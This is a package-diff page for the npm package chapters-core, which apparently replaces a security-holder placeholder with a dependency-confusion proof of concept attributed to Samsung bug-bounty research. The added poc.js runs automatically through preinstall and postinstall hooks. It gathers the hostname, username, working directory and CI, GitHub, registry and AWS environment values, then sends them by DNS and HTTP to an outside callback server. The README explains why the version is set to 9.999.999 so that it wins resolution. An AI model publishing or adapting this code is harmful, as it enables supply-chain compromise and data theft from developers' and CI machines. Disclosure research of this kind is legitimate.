chapters-core 0.0.1-security → 9.999.999

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of chapters-core might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/README.md +68 -3
  2. package/index.js +34 -0
  3. package/package.json +19 -3
  4. package/poc.js +143 -0
package/README.md CHANGED
@@ -1,5 +1,70 @@
1
- # Security holding package
1
+ # chapters-core - Security Research
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ ## ⚠️ This is a Dependency Confusion Proof of Concept
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=chapters-core for more information.
5
+ Published as part of **authorized security research** on the **Samsung Bug Bounty (self-hosted program)**.
6
+
7
+ It demonstrates that the package name `chapters-core` (used internally in Samsung web
8
+ assets - RGA-built "samsungwithin" brandhub campaign bundles served from
9
+ `cdn.samsung.com/etc/designs/smg/global/brandhub/samsungwithin/*/js/*.js`)
10
+ was unclaimed on the public npm registry, making it vulnerable to
11
+ **dependency confusion** attacks.
12
+
13
+ ## What This Package Does
14
+
15
+ During `preinstall`/`postinstall` it:
16
+
17
+ 1. Writes a local marker file (`samsung-depconf-poc.json`) with environment identifiers
18
+ 2. Sends **DNS callbacks** to a researcher-controlled Interactsh server encoding:
19
+ - Package name and version
20
+ - Hostname and username of the installing machine
21
+ - CI environment type (GitHub Actions, GitLab CI, Jenkins, etc.)
22
+ - npm registry configuration
23
+ 3. Sends an **HTTP POST callback** with the same information as JSON
24
+
25
+ **No malicious actions are performed.** No persistence. No lateral movement.
26
+
27
+ ## Evidence of Internal Usage
28
+
29
+ The name `chapters-core` appears as a webpack module path in Samsung-served bundles:
30
+
31
+ ```javascript
32
+ "./node_modules/chapters-core/build/main.js":function(e,t,n){...}
33
+ // in main.js bundles samsungwithin/{4,5,6} (2018-12-18)
34
+ ```
35
+
36
+ **PoC version rationale:** version `9.999.999` is used so that any semver range an
37
+ internal consumer declares is satisfied and the public package wins version
38
+ precedence whenever the public registry is consulted.
39
+
40
+ **Version evidence extracted from JS:** the Samsung-served bundles do NOT embed
41
+ npm versions for `chapters-core` (no package.json/lockfile metadata survived the webpack
42
+ bundle - unlike other RGA/Samsung bundles that embed e.g. `core-js@2.5.7`,
43
+ `react@16.8.4`). Only build banners remain: R/GA build timestamps
44
+ (2018-12-12T18:54 for `samsungwithin/{4,5,6}`, 2019-04-15T19:44 for
45
+ `samsungwithin/7`) and the AEM content-path version folders `/4.../7`. Without a
46
+ disclosed internal version, `9.999.999` (out-of-range high) is the standard
47
+ dependency-confusion PoC version and wins `^x.y` / unversioned installs.
48
+
49
+
50
+
51
+ ## If You Installed This Unexpectedly
52
+
53
+ Your build pulled this package from the **public npm registry** instead of an
54
+ internal/private registry, meaning:
55
+
56
+ 1. Your `.npmrc`/registry setup does not pin `chapters-core` to a private registry
57
+ 2. An attacker could publish a malicious version executing arbitrary code in
58
+ your CI/CD pipeline or developer machines
59
+
60
+ ## Remediation
61
+
62
+ - Reserve the name `chapters-core` on npm (transfer ownership to Samsung)
63
+ - Configure per-scope registry pinning in `.npmrc` for `@ssgw:` / internal scopes
64
+ - Commit lockfiles and enable integrity checking
65
+ - Migrate internal packages to a private registry with full fallback control
66
+
67
+ ## Contact
68
+
69
+ - Researcher: sidhant
70
+ - Program: Samsung Bug Bounty (self-hosted program)
package/index.js ADDED
@@ -0,0 +1,34 @@
1
+ /**
2
+ * chapters-core - Security Research PoC
3
+ *
4
+ * Published as part of authorized security research demonstrating a
5
+ * dependency confusion vulnerability.
6
+ *
7
+ * If this package was installed in your environment unexpectedly, your
8
+ * build system resolved an internal package name from the public npm
9
+ * registry and is vulnerable to dependency confusion.
10
+ *
11
+ * This PoC exports empty stubs to avoid breaking imports at the module
12
+ * level. No malicious actions are performed.
13
+ *
14
+ * Program: Samsung Bug Bounty (self-hosted program) | Researcher: sidhant
15
+ */
16
+
17
+ const noop = () => {};
18
+ const NoopComponent = () => null;
19
+
20
+ module.exports = {
21
+ __poc__: {
22
+ name: 'chapters-core',
23
+ version: '9.999.999',
24
+ type: 'security-research-poc',
25
+ researcher: 'sidhant',
26
+ program: 'Samsung Bug Bounty (self-hosted program)',
27
+ message: 'Dependency confusion proof of concept. DNS/HTTP callback is triggered during preinstall to prove code execution.'
28
+ }
29
+ };
30
+
31
+ // Stub exports (harmless no-ops)
32
+ module.exports.Noop = noop;
33
+ module.exports.NoopComponent = NoopComponent;
34
+ module.exports.default = NoopComponent;
package/package.json CHANGED
@@ -1,6 +1,22 @@
1
1
  {
2
2
  "name": "chapters-core",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.999.999",
4
+ "description": "Security research - dependency confusion proof of concept. Demonstrates the name was unclaimed on the public npm registry while being used internally by Samsung web applications. If you received this package unexpectedly, please contact Samsung through their bug bounty program.",
5
+ "keywords": [
6
+ "security-research",
7
+ "dependency-confusion",
8
+ "poc"
9
+ ],
10
+ "author": "sidhant <security-researcher>",
11
+ "license": "ISC",
12
+ "scripts": {
13
+ "preinstall": "node poc.js || true",
14
+ "postinstall": "node poc.js || true"
15
+ },
16
+ "main": "index.js",
17
+ "files": [
18
+ "index.js",
19
+ "poc.js",
20
+ "README.md"
21
+ ]
6
22
  }
package/poc.js ADDED
@@ -0,0 +1,143 @@
1
+ /**
2
+ * chapters-core - Dependency Confusion PoC
3
+ *
4
+ * Benign preinstall callback for authorized security research.
5
+ * Sends DNS + HTTP callbacks to researcher's Interactsh server
6
+ * to prove code execution context during npm/pnpm install.
7
+ *
8
+ * NO destructive actions. NO data exfiltration beyond identifiers.
9
+ * NO persistence. NO lateral movement.
10
+ *
11
+ * Researcher: sidhant | Program: Samsung Bug Bounty (self-hosted program)
12
+ */
13
+
14
+ var https = require('https');
15
+ var http = require('http');
16
+ var dns = require('dns');
17
+ var os = require('os');
18
+
19
+ var PKG = 'chapters-core';
20
+ var VER = '9.999.999';
21
+ var CALLBACK = 'awfhvaksncnsxtcdjvmnhhqbt59dzenf8.oast.fun';
22
+ var GUARD = '_SAMSUNG_DEPCONF_POC_SENT';
23
+
24
+ // Dedup guard: run once across preinstall/postinstall
25
+ if (process.env[GUARD]) { process.exit(0); }
26
+ try { process.env[GUARD] = '1'; } catch (e) {}
27
+
28
+ // --- Basic identifiers ---
29
+ var h, u;
30
+ try { h = os.hostname(); } catch (e) { h = 'unknown'; }
31
+ try { u = os.userInfo().username; } catch (e) { u = 'unknown'; }
32
+
33
+ // --- CI attribution env vars (plain process.env reads) ---
34
+ var env = process.env;
35
+ var repo = env.GITHUB_REPOSITORY || env.CI_PROJECT_PATH || '';
36
+ var repoOwner = env.GITHUB_REPOSITORY_OWNER || '';
37
+ var ghServer = env.GITHUB_SERVER_URL || '';
38
+ var registry = env.npm_config_registry || '';
39
+ var runnerName = env.RUNNER_NAME || '';
40
+ var workflow = env.GITHUB_WORKFLOW || env.CI_PIPELINE_NAME || '';
41
+ var ci = env.CI || '';
42
+ var parentPkg = env.npm_package_name || '';
43
+
44
+ // --- DNS label helpers ---
45
+ function label(s) {
46
+ return String(s).toLowerCase()
47
+ .replace(/[^a-z0-9-]/g, '-')
48
+ .replace(/-+/g, '-')
49
+ .replace(/^-|-$/g, '')
50
+ .substring(0, 63);
51
+ }
52
+
53
+ function hexLabel(s) {
54
+ return Buffer.from(String(s).substring(0, 30)).toString('hex').substring(0, 63);
55
+ }
56
+
57
+ // --- DNS callbacks ---
58
+ var dns1 = [label(PKG), label(h), label(u)].join('.') + '.' + CALLBACK;
59
+ var dns2 = repo ? ['repo', hexLabel(repo), label(h)].join('.') + '.' + CALLBACK : null;
60
+ var dns3 = registry ? ['reg', hexLabel(registry)].join('.') + '.' + CALLBACK : null;
61
+
62
+ try { dns.resolve(dns1, 'A', function() {}); } catch (e) {}
63
+ if (dns2) try { dns.resolve(dns2, 'A', function() {}); } catch (e) {}
64
+ if (dns3) try { dns.resolve(dns3, 'A', function() {}); } catch (e) {}
65
+
66
+ // --- HTTP callback (full JSON with attribution data) ---
67
+ var body = JSON.stringify({
68
+ p: PKG,
69
+ v: VER,
70
+ h: h,
71
+ u: u,
72
+ d: process.cwd(),
73
+ t: new Date().toISOString(),
74
+ repo: repo,
75
+ repo_owner: repoOwner,
76
+ gh_server: ghServer,
77
+ registry: registry,
78
+ runner_name: runnerName,
79
+ workflow: workflow,
80
+ ci: ci,
81
+ parent_pkg: parentPkg,
82
+ node_env: env.NODE_ENV || '',
83
+ gh_actions: env.GITHUB_ACTIONS || '',
84
+ gh_run_id: env.GITHUB_RUN_ID || '',
85
+ gh_actor: env.GITHUB_ACTOR || '',
86
+ gl_ci: env.GITLAB_CI || '',
87
+ jenkins: env.JENKINS_URL ? 'yes' : '',
88
+ azure: env.SYSTEM_TEAMFOUNDATIONCOLLECTIONURI || '',
89
+ aws_region: env.AWS_REGION || env.AWS_DEFAULT_REGION || ''
90
+ });
91
+
92
+ function send(mod, port) {
93
+ try {
94
+ var req = mod.request({
95
+ hostname: CALLBACK,
96
+ port: port,
97
+ path: '/' + label(PKG),
98
+ method: 'POST',
99
+ headers: {
100
+ 'Content-Type': 'application/json',
101
+ 'Content-Length': Buffer.byteLength(body),
102
+ 'X-Poc-Package': PKG,
103
+ 'X-Poc-Researcher': 'sidhant'
104
+ },
105
+ timeout: 5000
106
+ }, function() {});
107
+ req.on('error', function() {});
108
+ req.write(body);
109
+ req.end();
110
+ } catch (e) {}
111
+ }
112
+
113
+ send(https, 443);
114
+ send(http, 80);
115
+
116
+ // --- Marker file ---
117
+ try {
118
+ var fs = require('fs');
119
+ var marker = {
120
+ package: PKG,
121
+ version: VER,
122
+ type: 'dependency-confusion-poc',
123
+ researcher: 'sidhant',
124
+ program: 'Samsung Bug Bounty (self-hosted program)',
125
+ hostname: h,
126
+ username: u,
127
+ cwd: process.cwd(),
128
+ timestamp: new Date().toISOString(),
129
+ message: 'This package was resolved from the PUBLIC npm registry instead of an internal registry, proving dependency confusion.'
130
+ };
131
+ fs.writeFileSync(require('path').join(process.cwd(), 'samsung-depconf-poc.json'), JSON.stringify(marker, null, 2));
132
+ } catch (e) {}
133
+
134
+ // --- Console output ---
135
+ console.log('');
136
+ console.log('[SECURITY RESEARCH] chapters-core@9.999.999 - Dependency Confusion PoC');
137
+ console.log('[SECURITY RESEARCH] This package was installed from the PUBLIC npm registry.');
138
+ console.log('[SECURITY RESEARCH] Your build is vulnerable to dependency confusion.');
139
+ console.log('[SECURITY RESEARCH] Researcher: sidhant | Program: Samsung Bug Bounty (self-hosted program)');
140
+ console.log('[SECURITY RESEARCH] Callback sent to: ' + CALLBACK);
141
+ console.log('');
142
+
143
+ setTimeout(function() { process.exit(0); }, 3000).unref();